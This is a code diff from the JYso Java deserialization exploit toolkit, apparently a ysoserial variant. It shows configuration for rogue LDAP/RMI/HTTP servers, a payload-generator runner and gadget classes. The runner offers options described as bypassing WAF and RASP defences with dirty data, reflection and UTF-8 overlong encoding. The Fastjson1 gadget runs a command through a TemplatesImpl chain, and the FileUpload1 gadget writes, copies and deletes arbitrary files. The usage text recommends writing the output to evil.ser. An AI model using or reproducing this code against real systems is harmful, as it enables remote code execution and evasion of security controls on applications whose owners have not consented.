Ansi.Color.BLUE,
|
||||
Ansi.Color.MAGENTA,
|
||||
Ansi.Color.CYAN,
|
||||
Ansi.Color.WHITE
|
||||
};
|
||||
|
||||
Random random = new Random();
|
||||
|
||||
StringBuilder coloredLogo = new StringBuilder();
|
||||
|
||||
for (char c : logo.toCharArray()) {
|
||||
if (c != ' ' && c != '\n') {
|
||||
// 选择一个随机的高亮颜色
|
||||
Ansi.Color color = colors[random.nextInt(colors.length)];
|
||||
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
|
||||
} else {
|
||||
// 保持空格和换行符
|
||||
coloredLogo.append(c);
|
||||
}
|
||||
}
|
||||
|
||||
System.out.println(coloredLogo);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets.Config;
|
||||
|
||||
import com.beust.jcommander.JCommander;
|
||||
import com.beust.jcommander.Parameter;
|
||||
import com.beust.jcommander.UnixStyleUsageFormatter;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import javassist.ClassPool;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
public class Config {
|
||||
public static String codeBase;
|
||||
|
||||
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
|
||||
public static String ip = "0.0.0.0";
|
||||
|
||||
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
|
||||
public static int ldapPort = 1389;
|
||||
|
||||
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
|
||||
public static int ldapsPort = 1669;
|
||||
|
||||
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
|
||||
public static int rmiPort = 1099;
|
||||
|
||||
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
|
||||
public static int httpPort = 3456;
|
||||
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
|
||||
public static String command = "whoami";
|
||||
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
|
||||
public static boolean showVersion;
|
||||
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
|
||||
public static boolean showGadgets;
|
||||
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
|
||||
public static String AESkey = "123";
|
||||
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
|
||||
public static String USER = "";
|
||||
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
|
||||
public static String PASSWD = "";
|
||||
@Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5)
|
||||
public static boolean TLSProxy = false;
|
||||
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
|
||||
public static String keyPass = "";
|
||||
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
|
||||
public static String certFile = "";
|
||||
|
||||
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
|
||||
public static boolean jndi = false;
|
||||
public static String rhost;
|
||||
public static String rport;
|
||||
// 从HTTP外部获取路由值
|
||||
public static String ROUTE = "";
|
||||
// 从HTTP外部获取参数值
|
||||
public static String BCEL1 = "";
|
||||
// 恶意类是否继承 AbstractTranslet
|
||||
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
|
||||
//是否使用反射绕过RASP
|
||||
public static Boolean IS_OBSCURE = false;
|
||||
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
|
||||
public static Boolean IS_DIRTY_IN_TC_RESET = false;
|
||||
public static Boolean IS_UTF_Bypass = false;
|
||||
// 填充的脏数据长度
|
||||
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
|
||||
|
||||
// DefineClassFromParameter 的路径
|
||||
public static String PARAMETER = "dc";
|
||||
// 将输入直接写在文件里
|
||||
public static String FILE = "out.ser";
|
||||
public static Boolean WRITE_FILE = false;
|
||||
public static Boolean BASE64 = false;
|
||||
// 是否强制使用 org.apache.XXX.TemplatesImpl
|
||||
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
|
||||
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
|
||||
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
|
||||
// ScriptEngineManager 是否为 RHINO 引擎
|
||||
public static boolean USING_RHINO = false;
|
||||
public static ClassPool POOL = ClassPool.getDefault();
|
||||
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
|
||||
private static boolean help = false;
|
||||
|
||||
@SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
|
||||
public static void applyCmdArgs(String[] args) {
|
||||
//process cmd args
|
||||
|
||||
JCommander jc = JCommander.newBuilder()
|
||||
.addObject(new Config())
|
||||
.build();
|
||||
try {
|
||||
jc.parse(args);
|
||||
} catch (Exception e) {
|
||||
System.out.println("Error: " + e.getMessage() + "\n");
|
||||
help = true;
|
||||
}
|
||||
|
||||
if (showGadgets) {
|
||||
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
||||
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
||||
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
final List<String> lines = StringUtil.formatTable(rows);
|
||||
|
||||
for (String line : lines) {
|
||||
System.out.println(" " + line);
|
||||
}
|
||||
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
if (showVersion) {
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
//获取当前 Jar 的名称
|
||||
jc.setProgramName("java -jar JYso.jar");
|
||||
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
|
||||
|
||||
if (help) {
|
||||
jc.usage(); //if -h specified, show help and exit
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
// 特别注意:最后一个反斜杠不能少啊
|
||||
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
|
||||
}
|
||||
|
||||
public static void logo() {
|
||||
String logo = " ┏┳┓┏ \n" +
|
||||
" ┃┗┫┏┏┓ \n" +
|
||||
" ┗┛┗┛┛┗┛ ";
|
||||
|
||||
// 高亮颜色代码(不包括黑色)
|
||||
Ansi.Color[] colors = {
|
||||
Ansi.Color.RED,
|
||||
Ansi.Color.GREEN,
|
||||
Ansi.Color.YELLOW,
|
||||
Ansi.Color.BLUE,
|
||||
Ansi.Color.MAGENTA,
|
||||
Ansi.Color.CYAN,
|
||||
Ansi.Color.WHITE
|
||||
};
|
||||
|
||||
Random random = new Random();
|
||||
|
||||
StringBuilder coloredLogo = new StringBuilder();
|
||||
|
||||
for (char c : logo.toCharArray()) {
|
||||
if (c != ' ' && c != '\n') {
|
||||
// 选择一个随机的高亮颜色
|
||||
Ansi.Color color = colors[random.nextInt(colors.length)];
|
||||
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
|
||||
} else {
|
||||
// 保持空格和换行符
|
||||
coloredLogo.append(c);
|
||||
}
|
||||
}
|
||||
|
||||
System.out.println(coloredLogo);
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,191 +1,191 @@
|
||||
package com.qi4l.JYso.gadgets.Config;
|
||||
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||
import org.apache.commons.cli.*;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
||||
|
||||
public class ysoserial {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(ysoserial.class);
|
||||
public static CommandLine cmdLine;
|
||||
public static Object PAYLOAD = null;
|
||||
|
||||
public static void run(String[] args) {
|
||||
final Options options = getOptions();
|
||||
|
||||
CommandLineParser parser = new DefaultParser();
|
||||
|
||||
if (args.length == 1) {
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
try {
|
||||
cmdLine = parser.parse(options, args);
|
||||
} catch (Exception e) {
|
||||
System.out.println("[*] Parameter input error, please use -h for more information");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("inherit")) {
|
||||
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("obscure")) {
|
||||
Config.IS_OBSCURE = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("define-class-from-parameter")) {
|
||||
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("file")) {
|
||||
Config.WRITE_FILE = true;
|
||||
Config.FILE = cmdLine.getOptionValue("file");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("base64")) {
|
||||
Config.BASE64 = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("no-com-sun")) {
|
||||
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("mozilla-class-loader")) {
|
||||
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("rhino")) {
|
||||
Config.USING_RHINO = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
|
||||
Config.IS_UTF_Bypass = true;
|
||||
}
|
||||
|
||||
final String payloadType = cmdLine.getOptionValue("gadget");
|
||||
final String command = cmdLine.getOptionValue("parameters");
|
||||
//载入gadget
|
||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||
if (payloadClass == null) {
|
||||
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
try {
|
||||
//载入payload
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(command);
|
||||
|
||||
// 是否指定混淆
|
||||
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
|
||||
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
|
||||
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
|
||||
object = new DirtyDataWrapper(object, type, length).doWrap();
|
||||
}
|
||||
|
||||
// 储存生成的 payload
|
||||
PAYLOAD = object;
|
||||
if (isFromExploit()) {
|
||||
return;
|
||||
}
|
||||
|
||||
OutputStream out;
|
||||
|
||||
if (Config.WRITE_FILE) {
|
||||
out = Files.newOutputStream(Paths.get(Config.FILE));
|
||||
} else if(Config.BASE64) {
|
||||
out = new ByteArrayOutputStream();
|
||||
} else {
|
||||
out = System.out;
|
||||
}
|
||||
Serializer.qi_serialize(object, out);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
out.flush();
|
||||
out.close();
|
||||
} catch (Throwable e) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(e));
|
||||
System.exit(1);
|
||||
}
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
public static Options getOptions() {
|
||||
Options options = new Options();
|
||||
options.addOption("y", "ysoserial", false, "Java deserialization");
|
||||
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
||||
options.addOption("p", "parameters", true, "Gadget parameters");
|
||||
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
|
||||
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
|
||||
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
|
||||
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
|
||||
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
|
||||
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
|
||||
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
|
||||
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
|
||||
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
|
||||
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
|
||||
options.addOption("b64", "base64", false, "base64 encoding");
|
||||
return options;
|
||||
}
|
||||
|
||||
private static void printUsage(Options options) {
|
||||
logo();
|
||||
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
|
||||
System.err.println("[root]#~ Available payload types:");
|
||||
|
||||
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
||||
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
||||
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
final List<String> lines = StringUtil.formatTable(rows);
|
||||
|
||||
for (String line : lines) {
|
||||
System.err.println(" " + line);
|
||||
}
|
||||
|
||||
System.err.println("\r\n");
|
||||
HelpFormatter helpFormatter = new HelpFormatter();
|
||||
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
|
||||
helpFormatter.printHelp("JYso-[version].jar", options, true);
|
||||
|
||||
System.err.println("\r\n");
|
||||
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
||||
System.err.println("If you want your payload being extremely short,you could just use:");
|
||||
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets.Config;
|
||||
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||
import org.apache.commons.cli.*;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
||||
|
||||
public class ysoserial {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(ysoserial.class);
|
||||
public static CommandLine cmdLine;
|
||||
public static Object PAYLOAD = null;
|
||||
|
||||
public static void run(String[] args) {
|
||||
final Options options = getOptions();
|
||||
|
||||
CommandLineParser parser = new DefaultParser();
|
||||
|
||||
if (args.length == 1) {
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
try {
|
||||
cmdLine = parser.parse(options, args);
|
||||
} catch (Exception e) {
|
||||
System.out.println("[*] Parameter input error, please use -h for more information");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("inherit")) {
|
||||
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("obscure")) {
|
||||
Config.IS_OBSCURE = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("define-class-from-parameter")) {
|
||||
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("file")) {
|
||||
Config.WRITE_FILE = true;
|
||||
Config.FILE = cmdLine.getOptionValue("file");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("base64")) {
|
||||
Config.BASE64 = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("no-com-sun")) {
|
||||
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("mozilla-class-loader")) {
|
||||
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("rhino")) {
|
||||
Config.USING_RHINO = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
|
||||
Config.IS_UTF_Bypass = true;
|
||||
}
|
||||
|
||||
final String payloadType = cmdLine.getOptionValue("gadget");
|
||||
final String command = cmdLine.getOptionValue("parameters");
|
||||
//载入gadget
|
||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||
if (payloadClass == null) {
|
||||
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
try {
|
||||
//载入payload
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(command);
|
||||
|
||||
// 是否指定混淆
|
||||
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
|
||||
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
|
||||
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
|
||||
object = new DirtyDataWrapper(object, type, length).doWrap();
|
||||
}
|
||||
|
||||
// 储存生成的 payload
|
||||
PAYLOAD = object;
|
||||
if (isFromExploit()) {
|
||||
return;
|
||||
}
|
||||
|
||||
OutputStream out;
|
||||
|
||||
if (Config.WRITE_FILE) {
|
||||
out = Files.newOutputStream(Paths.get(Config.FILE));
|
||||
} else if(Config.BASE64) {
|
||||
out = new ByteArrayOutputStream();
|
||||
} else {
|
||||
out = System.out;
|
||||
}
|
||||
Serializer.qi_serialize(object, out);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
out.flush();
|
||||
out.close();
|
||||
} catch (Throwable e) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(e));
|
||||
System.exit(1);
|
||||
}
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
public static Options getOptions() {
|
||||
Options options = new Options();
|
||||
options.addOption("y", "ysoserial", false, "Java deserialization");
|
||||
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
||||
options.addOption("p", "parameters", true, "Gadget parameters");
|
||||
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
|
||||
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
|
||||
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
|
||||
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
|
||||
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
|
||||
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
|
||||
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
|
||||
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
|
||||
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
|
||||
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
|
||||
options.addOption("b64", "base64", false, "base64 encoding");
|
||||
return options;
|
||||
}
|
||||
|
||||
private static void printUsage(Options options) {
|
||||
logo();
|
||||
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
|
||||
System.err.println("[root]#~ Available payload types:");
|
||||
|
||||
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
||||
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
||||
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
final List<String> lines = StringUtil.formatTable(rows);
|
||||
|
||||
for (String line : lines) {
|
||||
System.err.println(" " + line);
|
||||
}
|
||||
|
||||
System.err.println("\r\n");
|
||||
HelpFormatter helpFormatter = new HelpFormatter();
|
||||
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
|
||||
helpFormatter.printHelp("JYso-[version].jar", options, true);
|
||||
|
||||
System.err.println("\r\n");
|
||||
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
||||
System.err.println("If you want your payload being extremely short,you could just use:");
|
||||
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,45 +1,45 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class Fastjson1 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.makeClass("a");
|
||||
CtClass superClass = pool.get(AbstractTranslet.class.getName());
|
||||
clazz.setSuperclass(superClass);
|
||||
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
|
||||
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
|
||||
clazz.addConstructor(constructor);
|
||||
Object templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
return getFastjsonSink(templates);
|
||||
}
|
||||
|
||||
static Object getFastjsonSink(Object templates) throws Exception {
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(templates);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(templates, val);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class Fastjson1 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.makeClass("a");
|
||||
CtClass superClass = pool.get(AbstractTranslet.class.getName());
|
||||
clazz.setSuperclass(superClass);
|
||||
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
|
||||
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
|
||||
clazz.addConstructor(constructor);
|
||||
Object templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
return getFastjsonSink(templates);
|
||||
}
|
||||
|
||||
static Object getFastjsonSink(Object templates) throws Exception {
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(templates);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(templates, val);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,70 +1,70 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.fileupload.disk.DiskFileItem;
|
||||
import org.apache.commons.io.output.DeferredFileOutputStream;
|
||||
import org.apache.commons.io.output.ThresholdingOutputStream;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.OutputStream;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Arrays;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
|
||||
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
|
||||
}
|
||||
|
||||
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
|
||||
private static DiskFileItem write(String dir, byte[] data) throws Exception {
|
||||
return makePayload(data.length + 1, dir, dir + "/whatever", data);
|
||||
}
|
||||
|
||||
// writes data to an arbitrary file
|
||||
private static DiskFileItem writePre131(String file, byte[] data) throws Exception {
|
||||
return makePayload(data.length + 1, file + "\0", file, data);
|
||||
}
|
||||
|
||||
public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
|
||||
// if thresh < written length, delete outputFile after copying to repository temp file
|
||||
// otherwise write the contents to repository temp file
|
||||
File repository = new File(repoPath);
|
||||
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
|
||||
File outputFile = new File(filePath);
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
|
||||
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
|
||||
os.write(data);
|
||||
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
|
||||
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
|
||||
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
|
||||
return diskFileItem;
|
||||
}
|
||||
|
||||
@Override
|
||||
public DiskFileItem getObject(String command) throws Exception {
|
||||
|
||||
String[] parts = command.split(";");
|
||||
|
||||
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
|
||||
return copyAndDelete(parts[1], parts[2]);
|
||||
} else if (parts.length == 3 && "write".equals(parts[0])) {
|
||||
return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
|
||||
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
|
||||
return write(parts[1], Base64.decodeBase64(parts[2]));
